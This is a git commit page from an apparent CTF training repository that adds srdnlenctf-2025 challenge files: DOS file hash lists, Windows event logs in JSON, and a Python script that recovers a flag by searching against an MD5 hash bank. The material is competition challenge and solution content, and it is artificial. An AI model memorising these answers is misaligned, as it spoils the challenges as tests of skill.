cato447/ctf
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

added training

Browse Source
This commit is contained in:
cato447
2026-03-09 21:48:34 +01:00
parent d1017bae51
commit d81f8a611f
110 changed files with 4393 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

71
training/srdnlenctf-2025/DiskOperatingSystem/challenge_hashes.txt Normal file
View File

@@ -0,0 +1,71 @@
755c79c16d3db5280b5286f1032a4f77bb8556b79f0c22f9c9f85556c7b69e39 ./IO.SYS
573626782a3c45f0d9e5f00af1bd0f52a7de44bea96d2a2d3d660e9ae06158d5 ./MSDOS.SYS
19ebe2e5a8e18ca5d447a3d1fc42c42e4942ff5f3ef50e39ab01374bb01d8ea9 ./COMMAND.COM
d66ebe5ed04ff88e9c2d5a56a861f72010f2bbe75b347c0d48f8abf02cfd34b8 ./CONFIG.SYS
a2bd9091f56745729a0b4fa526eba8aa27bfaad29297d8e4c4dd0576852ba5bf ./AUTOEXEC.BAT
b47172cf329544a8821c79c3d5e86072af1a40de230d68ecd3d7dc1c337bca25 ./DOS/DOSSHELL.BAT
19ebe2e5a8e18ca5d447a3d1fc42c42e4942ff5f3ef50e39ab01374bb01d8ea9 ./DOS/COMMAND.COM
cd1abba25c110531d4ce0588eae9c1353214d4e322cd4c7989b8b51fea170bb3 ./DOS/COUNTRY.SYS
9bda2fd91ac1088d75d6acd4688165689f8c5c75a2ef60705df0c43c922b1358 ./DOS/DISKCOPY.COM
3de3e2951122ead73f57d39889fb15afee0bf8a7f82e9557ddfd513cb42f97b2 ./DOS/DISPLAY.SYS
ea6ce9926199117edc55d7fe61369c628add43c15cd627fd7abcfbc63b55bf65 ./DOS/FDISK.EXE
f44685e84b092a17603704ed5023aaff360bba414843076306fd7693d477696c ./DOS/FORMAT.COM
6a66e27fe7865243bb631fe247701a93956caa641af4926811280ebd7a2d061c ./DOS/KEYB.COM
0a3e9ce32f0426c43e163b5dd9832bf5f78626426ab6143c3a3c96c673a91a89 ./DOS/KEYBOARD.SYS
2887db67f7297cfef20254d9c770fab060966d032758563c8063a5a3c51becf4 ./DOS/REPLACE.EXE
1083138f28a35a16985f8d6c3b8afb276649d3bdb35a4444cccb22a1f7149e4c ./DOS/SYS.COM
edf9bb8136b4a89d06f801a1e620b7107842e06fbca1c83643ca256f74437bd2 ./DOS/ASSIGN.COM
e66d22f2873bfa59a9d6908f85fc43c9c2b52cc62ab63ebc13b98e900aecabf7 ./DOS/ATTRIB.EXE
02a683582160a16638098d9055b14d0d3e66d4ccea27a82435bebbac7f733ad3 ./DOS/CHKDSK.COM
a4478bbb749c518d8ab514e42901de86c6c7bf44c0cbba585a9f4ab39017c662 ./DOS/COMP.COM
f688545d0839f07be5aa96ef43e6afc055cca25324607af65b22a713d6eb6f83 ./DOS/DEBUG.COM
55b54c43100b366931a3ed462d26697a43b86718f91cf7e9282205a5c0384d7f ./DOS/DISKCOMP.COM
cd22745bd242ac3229f28301a5ce1d19c0e7b8faf3ba66d4391e3d489e277902 ./DOS/EDLIN.COM
2f4b0ffae400a45f144b4ab9ff6e750589afe23602767f3ea8df0b62741f391e ./DOS/FC.EXE
4cae8b7bab236e1a246a064b14b404fed754b0e3b7610e80ddce0f76f194587a ./DOS/FILESYS.EXE
2d6c67ab0d1a15beaa18590b9ca6d4c618ff2f6af625f7bc8e2ac6a2155731e6 ./DOS/FIND.EXE
86c8861f82bdcffa50f08590f00b317d3fb7ce262c951963e26a7ed783042e15 ./DOS/IFSFUNC.EXE
a415bf465c21e863d612626d00fedc401dcded2d6041e5ccb4250f2a7cd90aa2 ./DOS/JOIN.EXE
a8fce248d06392d9e0adc7ed557aa63cffdade89878825c689b2b84e8ccf8d44 ./DOS/LABEL.COM
b3678169c59d359fdef9e21cd616a8d7ce2f81caabd9006de5e68a6caa744b91 ./DOS/MEM.EXE
d20874111dc55c9bbceb8d4465d86c3db1590439c56573fbb4fb0a669b9fde27 ./DOS/MORE.COM
e30e3f392da0be3f64feda5f678b69e4043a58bf4defb723d6807f38eceaec81 ./DOS/SHARE.EXE
1de1a1457a242a19448871152b91afb57650a2fd68c211e217d11f38f4cb59fd ./DOS/SORT.EXE
ea91985a23b83a8a26a4e9a4f61e05638d96bb1c0d9ca17ac1e5dd30e19b5268 ./DOS/SUBST.EXE
a830b50b7304bebda3d82e98e13f758b1ede9a90bcb6917ea8f62aab6b01a0d5 ./DOS/TREE.COM
7f1b05b60767d9ec9bbd8730bcb91491e970687d351268e607917e91dbc145ea ./DOS/XCOPY.EXE
03434e799e5ea72c2f27a2e79014a4e9f519322d6acfe7a2ae25aa9675111f55 ./DOS/EMM386.SYS
4b3d197ddbfb2f98250553bcce677358ea925a1feb2850addf5c8ac288a8088c ./DOS/EXE2BIN.EXE
e1e9fe300fe1d7fbb3a4f3a542d841abdfaf2a5f8f90c11eddd5b3d6b43aeaf3 ./DOS/GWBASIC.EXE
8bd6d1144ee8acf4dc13a48e46070c642e962bb3822edacbe5a76a95e7a692b1 ./DOS/LINK.EXE
7236ffee35ebe46ae1e7895245c83bea4fbd71b684220d5f71ec1140a529a0c8 ./DOS/PRINT.COM
34b8b368b2835b8a572bb21ae015336c5af8e62c84d29209c726e18ee56b60e2 ./DOS/RAMDRIVE.SYS
c9895111576d6d898dcffe4b4efbe746169b81e22cf9fc51b49ef10c46e2436f ./DOS/SMARTDRV.SYS
f6ffe886e4e2be63a0de05075daaf3812fecaf34e30173439de4a81368495172 ./DOS/XMA2EMS.SYS
c6d23b1ecaa670f6de83c1e003bec50967962e0fcca2e96737bba38057e27581 ./DOS/ANSI.SYS
2b166b708e0d1b50719ac50ce32bc0e7d04ce76e6c28850d8d0ce2bd5502578b ./DOS/APPEND.EXE
6a3ae37bcfde3dfda435e285a547d38f86dc3c91eb9fc2ad7123e3e72c2c7a46 ./DOS/DRIVER.SYS
14d619e40476e18b5c9429cfd159646797e8233d1fb150961b5243403e9160b8 ./DOS/FASTOPEN.EXE
2e65cc87908390e8e476bf577de705948f532c1e3d5b94aeeb00048f044b32e3 ./DOS/GRAFTABL.COM
b7abce9f4119662fc2546b00c62230ab300ff2512f4000ad3e4c81142a01e2c7 ./DOS/GRAPHICS.COM
c8d534ec76423fd10acc27db9507255a3db9d3aa37fb5c11153c2f2c411da6b4 ./DOS/GRAPHICS.PRO
bb69217ada0fd793d40f345d4a0ceea5c3ae3d734e3413d35aa0a03ad98ac94b ./DOS/HIMEM.SYS
50fe27e2f2f437b7ce268d89ad4c763c8048669fa38aab17dd584f198f7c46f8 ./DOS/MODE.COM
8851cacdc3260f38cbce388edd1821e08563d35ec9208be95b75ba910f57446b ./DOS/NLSFUNC.EXE
b15bf75a8d4ee8b517fc6014e35ef04d3051b1e28bb29afced89fbcb9ab23855 ./DOS/PRINTER.SYS
46bb0d3e730a7302247dbf6b1a418ec4d371d0a947ce6bbe7a7153cd4f6f7dca ./DOS/RECOVER.COM
e46d224fc096d3e2903ca58d7356bb37b16fd1d9ffda439903f386860a664e88 ./DOS/4201.CPI
1f4a05e6ccf80d187702f6abaecb9966d120cf9a336d30cc2390692ba2a2fa22 ./DOS/4208.CPI
3f503e60c30e60f6833755fd9284d84afc7125bacce16ee83a42c596c2143f4b ./DOS/5202.CPI
317dc53ce35bc60b1b060c24967fb3b9e4cf1b80230e5e4ce21d996e67bd8a85 ./DOS/README.TXT
c709fcafb7428a3ce637623a3d32f8d4334231c11fed26ee599e554e1652847e ./DOS/BACKUP.COM
154e76387efde2950e6372a6c60fe591a0a598104b25c90545f0f75158af52a5 ./DOS/EGA.CPI
2f62b85f088c4e4143a35642086f23f735bdd082c2905f1092a9657d06755034 ./DOS/LCD.CPI
9c3a711d30fe61f6a3b33133036f71bd229c85dd1e4967d340f1632ca1407b8b ./DOS/RESTORE.COM
9bef3095ee97a426a247ad21ca49e9157f9a20aafba4ba3bbca148936170bf47 ./DOS/PCIBMDRV.MOS
b2f7115c717340d01f475fbbdcdfb95fb2155788c9075282b8b9a13ad09882a4 ./DOS/SHELL.CLR
3d674df5f78f9025e75871b8420063ac22e87b5728f79f2cfd2c656f7856f1d5 ./DOS/SHELL.HLP
5f7b89b8d431c7fcdf3f86c11bd2f65261c7e2e77f22c4745e028debcb59dd35 ./DOS/SHELL.MEU
398a775b1429489d47b4e9106267fbc1cb39725320c7ab80b0fe5b5ca3c19734 ./DOS/SHELLB.COM
1757f5fa258d9657ca0e271453723a53fb66a93577c6f2a6e0279cb0c67e7897 ./DOS/SHELLC.EXE
52c4a9f60c876f78f1fcaf9130a573133fa66b590fac90b40880ff6b01cd2e83 ./DOS/DOSUTIL.MEU

BIN
training/srdnlenctf-2025/DiskOperatingSystem/dos_disk.qcow2 (Stored with Git LFS) Normal file
View File

Binary file not shown.

74
training/srdnlenctf-2025/DiskOperatingSystem/reference_hashes.txt Normal file
View File

@@ -0,0 +1,74 @@
14d619e40476e18b5c9429cfd159646797e8233d1fb150961b5243403e9160b8 ./FASTOPEN.EXE
c9895111576d6d898dcffe4b4efbe746169b81e22cf9fc51b49ef10c46e2436f ./SMARTDRV.SYS
d36f092cb61d8ef2e25b66b6dfea70c08290ec958d325b8ec798b62a2ef14864 ./MORE.COM
7236ffee35ebe46ae1e7895245c83bea4fbd71b684220d5f71ec1140a529a0c8 ./PRINT.COM
6a66e27fe7865243bb631fe247701a93956caa641af4926811280ebd7a2d061c ./KEYB.COM
573626782a3c45f0d9e5f00af1bd0f52a7de44bea96d2a2d3d660e9ae06158d5 ./MSDOS.SYS
e30e3f392da0be3f64feda5f678b69e4043a58bf4defb723d6807f38eceaec81 ./SHARE.EXE
cd22745bd242ac3229f28301a5ce1d19c0e7b8faf3ba66d4391e3d489e277902 ./EDLIN.COM
3f503e60c30e60f6833755fd9284d84afc7125bacce16ee83a42c596c2143f4b ./5202.CPI
9bda2fd91ac1088d75d6acd4688165689f8c5c75a2ef60705df0c43c922b1358 ./DISKCOPY.COM
edf9bb8136b4a89d06f801a1e620b7107842e06fbca1c83643ca256f74437bd2 ./ASSIGN.COM
e46d224fc096d3e2903ca58d7356bb37b16fd1d9ffda439903f386860a664e88 ./4201.CPI
1de1a1457a242a19448871152b91afb57650a2fd68c211e217d11f38f4cb59fd ./SORT.EXE
2d6c67ab0d1a15beaa18590b9ca6d4c618ff2f6af625f7bc8e2ac6a2155731e6 ./FIND.EXE
f688545d0839f07be5aa96ef43e6afc055cca25324607af65b22a713d6eb6f83 ./DEBUG.COM
5f7b89b8d431c7fcdf3f86c11bd2f65261c7e2e77f22c4745e028debcb59dd35 ./SHELL.MEU
8851cacdc3260f38cbce388edd1821e08563d35ec9208be95b75ba910f57446b ./NLSFUNC.EXE
bb69217ada0fd793d40f345d4a0ceea5c3ae3d734e3413d35aa0a03ad98ac94b ./HIMEM.SYS
a830b50b7304bebda3d82e98e13f758b1ede9a90bcb6917ea8f62aab6b01a0d5 ./TREE.COM
86c8861f82bdcffa50f08590f00b317d3fb7ce262c951963e26a7ed783042e15 ./IFSFUNC.EXE
f61c9640004b6417f3667240b98851a1e6d470369416abf23972cc353365c8d0 ./SELECT.EXE
1757f5fa258d9657ca0e271453723a53fb66a93577c6f2a6e0279cb0c67e7897 ./SHELLC.EXE
efb958105dec6ddc04703e7b2f32f8381ad0cfa656a35c675ab9ffdff87199b3 ./AUTOEXEC.BAT
c709fcafb7428a3ce637623a3d32f8d4334231c11fed26ee599e554e1652847e ./BACKUP.COM
ff73db5a8318cd83430e926cd046a4c3d21dab857a00dc234c305141facbea39 ./SELECT.PRT
19ebe2e5a8e18ca5d447a3d1fc42c42e4942ff5f3ef50e39ab01374bb01d8ea9 ./COMMAND.COM
4b3d197ddbfb2f98250553bcce677358ea925a1feb2850addf5c8ac288a8088c ./EXE2BIN.EXE
4cae8b7bab236e1a246a064b14b404fed754b0e3b7610e80ddce0f76f194587a ./FILESYS.EXE
3de3e2951122ead73f57d39889fb15afee0bf8a7f82e9557ddfd513cb42f97b2 ./DISPLAY.SYS
3d674df5f78f9025e75871b8420063ac22e87b5728f79f2cfd2c656f7856f1d5 ./SHELL.HLP
154e76387efde2950e6372a6c60fe591a0a598104b25c90545f0f75158af52a5 ./EGA.CPI
b7abce9f4119662fc2546b00c62230ab300ff2512f4000ad3e4c81142a01e2c7 ./GRAPHICS.COM
03434e799e5ea72c2f27a2e79014a4e9f519322d6acfe7a2ae25aa9675111f55 ./EMM386.SYS
4dd84bcb94c97832c94730450fe00dcb538e67dbc15a52fd33af36006e450d1c ./CONFIG.SYS
317dc53ce35bc60b1b060c24967fb3b9e4cf1b80230e5e4ce21d996e67bd8a85 ./README.TXT
755c79c16d3db5280b5286f1032a4f77bb8556b79f0c22f9c9f85556c7b69e39 ./IO.SYS
34b8b368b2835b8a572bb21ae015336c5af8e62c84d29209c726e18ee56b60e2 ./RAMDRIVE.SYS
ea6ce9926199117edc55d7fe61369c628add43c15cd627fd7abcfbc63b55bf65 ./FDISK.EXE
8bd6d1144ee8acf4dc13a48e46070c642e962bb3822edacbe5a76a95e7a692b1 ./LINK.EXE
ea91985a23b83a8a26a4e9a4f61e05638d96bb1c0d9ca17ac1e5dd30e19b5268 ./SUBST.EXE
bdbf51f86a171f633020fe74d007a28020c189e9cd9c52fb12e2a54f0cbddae0 ./SELECT.COM
46bb0d3e730a7302247dbf6b1a418ec4d371d0a947ce6bbe7a7153cd4f6f7dca ./RECOVER.COM
a4478bbb749c518d8ab514e42901de86c6c7bf44c0cbba585a9f4ab39017c662 ./COMP.COM
cd1abba25c110531d4ce0588eae9c1353214d4e322cd4c7989b8b51fea170bb3 ./COUNTRY.SYS
b3678169c59d359fdef9e21cd616a8d7ce2f81caabd9006de5e68a6caa744b91 ./MEM.EXE
e1e9fe300fe1d7fbb3a4f3a542d841abdfaf2a5f8f90c11eddd5b3d6b43aeaf3 ./GWBASIC.EXE
2e65cc87908390e8e476bf577de705948f532c1e3d5b94aeeb00048f044b32e3 ./GRAFTABL.COM
f6ffe886e4e2be63a0de05075daaf3812fecaf34e30173439de4a81368495172 ./XMA2EMS.SYS
c6d23b1ecaa670f6de83c1e003bec50967962e0fcca2e96737bba38057e27581 ./ANSI.SYS
e66d22f2873bfa59a9d6908f85fc43c9c2b52cc62ab63ebc13b98e900aecabf7 ./ATTRIB.EXE
f44685e84b092a17603704ed5023aaff360bba414843076306fd7693d477696c ./FORMAT.COM
6a3ae37bcfde3dfda435e285a547d38f86dc3c91eb9fc2ad7123e3e72c2c7a46 ./DRIVER.SYS
398a775b1429489d47b4e9106267fbc1cb39725320c7ab80b0fe5b5ca3c19734 ./SHELLB.COM
02a683582160a16638098d9055b14d0d3e66d4ccea27a82435bebbac7f733ad3 ./CHKDSK.COM
d9bced9807446d012e042d048f26fd7aac808fd63ae9403bb19fcde888c2254d ./SELECT.DAT
0a3e9ce32f0426c43e163b5dd9832bf5f78626426ab6143c3a3c96c673a91a89 ./KEYBOARD.SYS
b2f7115c717340d01f475fbbdcdfb95fb2155788c9075282b8b9a13ad09882a4 ./SHELL.CLR
a415bf465c21e863d612626d00fedc401dcded2d6041e5ccb4250f2a7cd90aa2 ./JOIN.EXE
c8d534ec76423fd10acc27db9507255a3db9d3aa37fb5c11153c2f2c411da6b4 ./GRAPHICS.PRO
b15bf75a8d4ee8b517fc6014e35ef04d3051b1e28bb29afced89fbcb9ab23855 ./PRINTER.SYS
55b54c43100b366931a3ed462d26697a43b86718f91cf7e9282205a5c0384d7f ./DISKCOMP.COM
2f4b0ffae400a45f144b4ab9ff6e750589afe23602767f3ea8df0b62741f391e ./FC.EXE
2887db67f7297cfef20254d9c770fab060966d032758563c8063a5a3c51becf4 ./REPLACE.EXE
9bef3095ee97a426a247ad21ca49e9157f9a20aafba4ba3bbca148936170bf47 ./PCIBMDRV.MOS
2b166b708e0d1b50719ac50ce32bc0e7d04ce76e6c28850d8d0ce2bd5502578b ./APPEND.EXE
52c4a9f60c876f78f1fcaf9130a573133fa66b590fac90b40880ff6b01cd2e83 ./DOSUTIL.MEU
9c3a711d30fe61f6a3b33133036f71bd229c85dd1e4967d340f1632ca1407b8b ./RESTORE.COM
1083138f28a35a16985f8d6c3b8afb276649d3bdb35a4444cccb22a1f7149e4c ./SYS.COM
b2e15f740c133427af7f5a295cb780b3a028bd8429c7a483fd98af97a2ba62a5 ./SELECT.HLP
7f1b05b60767d9ec9bbd8730bcb91491e970687d351268e607917e91dbc145ea ./XCOPY.EXE
2f62b85f088c4e4143a35642086f23f735bdd082c2905f1092a9657d06755034 ./LCD.CPI
a8fce248d06392d9e0adc7ed557aa63cffdade89878825c689b2b84e8ccf8d44 ./LABEL.COM
1f4a05e6ccf80d187702f6abaecb9966d120cf9a336d30cc2390692ba2a2fa22 ./4208.CPI
50fe27e2f2f437b7ce268d89ad4c763c8048669fa38aab17dd584f198f7c46f8 ./MODE.COM

1
training/srdnlenctf-2025/ItsNotWhatItSeems/.gitattributes vendored Normal file
View File

@@ -0,0 +1 @@
chall.i64 filter=lfs diff=lfs merge=lfs -text

BIN
training/srdnlenctf-2025/ItsNotWhatItSeems/chall Executable file
View File

Binary file not shown.

BIN
training/srdnlenctf-2025/ItsNotWhatItSeems/chall.i64 (Stored with Git LFS) Normal file
View File

Binary file not shown.

BIN
training/srdnlenctf-2025/ItsNotWhatItSeems/decrypted_main.bin Normal file
View File

Binary file not shown.

BIN
training/srdnlenctf-2025/anodic_music/hardcore.bnk Normal file
View File

Binary file not shown.

31
training/srdnlenctf-2025/anodic_music/solve_hashset.py Normal file
View File

@@ -0,0 +1,31 @@
import hashlib
import string
MD5_LEN = 16
#Create hashset
def import_bank(path="./hardcore.bnk"):
hashes = open(path, 'rb').read()
res = set()
for i in range(len(hashes)//MD5_LEN):
res.add(hashes[i*MD5_LEN:(i+1)*MD5_LEN])
return res
bank = import_bank()
FLAG_LEN = 62
def dfs(substr=""):
subh = hashlib.md5(substr.encode('ascii')).digest()
print(f"Testing {substr}")
#First, check if current substring is in blacklist.
if subh not in bank:
#If substring is full flag, print and return
if len(substr) == FLAG_LEN:
print(substr)
exit()
for c in string.printable:
dfs(substr+c)
return
dfs()

BIN
training/srdnlenctf-2025/dfir_malvent/al_Application.evtx Normal file
View File

Binary file not shown.

BIN
training/srdnlenctf-2025/dfir_malvent/al_Security.evtx Normal file
View File

Binary file not shown.

BIN
training/srdnlenctf-2025/dfir_malvent/al_System.evtx Normal file
View File

Binary file not shown.

588
training/srdnlenctf-2025/dfir_malvent/security.json Normal file
View File

@@ -0,0 +1,588 @@
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4616,"Version":1,"Level":0,"Task":12288,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.078323Z"}},"EventRecordID":20943,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":352}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","PreviousTime":"2025-01-04T05:01:04.678857Z","NewTime":"2025-01-03T21:01:07.078000Z","ProcessId":"0x5bc","ProcessName":"C:\\Windows\\System32\\VBoxService.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.112776Z"}},"EventRecordID":20944,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.112782Z"}},"EventRecordID":20945,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.123821Z"}},"EventRecordID":20946,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.123826Z"}},"EventRecordID":20947,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.137037Z"}},"EventRecordID":20948,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.137042Z"}},"EventRecordID":20949,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.187752Z"}},"EventRecordID":20950,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
